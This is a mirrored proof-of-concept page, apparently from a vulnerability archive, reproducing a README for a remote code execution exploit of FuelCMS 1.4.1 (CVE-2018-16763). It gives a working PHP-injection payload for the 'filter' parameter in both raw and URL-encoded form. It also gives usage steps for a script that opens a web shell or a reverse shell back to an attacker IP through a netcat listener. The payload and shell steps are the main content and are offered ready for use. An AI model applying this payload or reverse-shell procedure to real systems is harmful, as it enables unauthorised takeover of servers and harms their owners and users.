Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2018-16763 PoC — FUEL CMS 注入漏洞

Source
Associated Vulnerability
Title:FUEL CMS 注入漏洞 (CVE-2018-16763)
Description:FUEL CMS是一款基于Codelgniter框架的内容管理系统(CMS)。 FUEL CMS 1.4.1版本中的pages/select/页面的‘filter’参数和preview/页面的‘data’参数存在注入漏洞。该漏洞源于用户输入构造命令、数据结构或记录的操作过程中,网络系统或产品缺乏对用户输入数据的正确验证,未过滤或未正确过滤掉其中的特殊元素,导致系统或产品产生解析或解释方式错误。
Description
FuelCMS 1.4.1 Command Injection/Remote Code Execution.
Readme
# # CVE-2018-16763 FuelCMS - 1.4.1 - RCE PoC
FuelCMS 1.4.1 allows PHP Code Evaluation via the pages/select/ filter parameter or the preview/ data parameter. This can lead to Pre-Auth Remote Code Execution.

# # Exploit
This works by exploiting the PHP **filter** parameter which allows you to use the ``system`` function to send arbitrary commands.

Then the payload is obfuscated:

``'+pi(print($a='system'))+$a('<YOUR COMMAND HERE>')+'`` 

So it looks something like this:

``http://<TARGET>/fuel/pages/select/?filter='+pi(print($a='system'))+$a('<YOUR COMMAND HERE>')+'``

And then url-encode all characters:

``http://<TARGET>/fuel/pages/select/?filter=%27%2Bpi%28print%28%24a%3D%27system%27%29%29%2B%24a%28%27%3CYOUR%20COMMAND%20HERE%3E%27%29%2B%27``

Thanks to <a href='https://github.com/om3rcitak'>Omer Citak</a> for finding this vulnerability.

# # Usage
You run the exploit using ``python3 cve-2018-16763.py``

And you can Enter **1** for **Web-Shell** or **2** for **Reverse-Shell**

# # Web-Shell
For the **Web-Shell** all you need is to Provide your **TARGET URL**:
<img width="708" height="233" alt="webshell" src="https://github.com/user-attachments/assets/c160a17b-4209-4f96-a1bb-059fa40c39b6" />



# # Reverse-Shell
Setup a listener ``nc -lvnp <PORT>``

Run the exploit and Provide the following:
1. TARGET URL
2. ATTACKER IP
3. LISTENER PORT
<img width="714" height="258" alt="image" src="https://github.com/user-attachments/assets/0ac97d77-8645-4690-9446-955d9d0e9450" />

shell gained.

<img width="480" height="287" alt="image" src="https://github.com/user-attachments/assets/e4e7f0b3-63e9-4103-a79c-db8942c58a97" />


File Snapshot

[4.0K] /data/pocs/91e9e4f982251a01f54c8353ffa1ee59c5c6d205 ├── [2.9K] cve-2018-16763.py └── [1.6K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.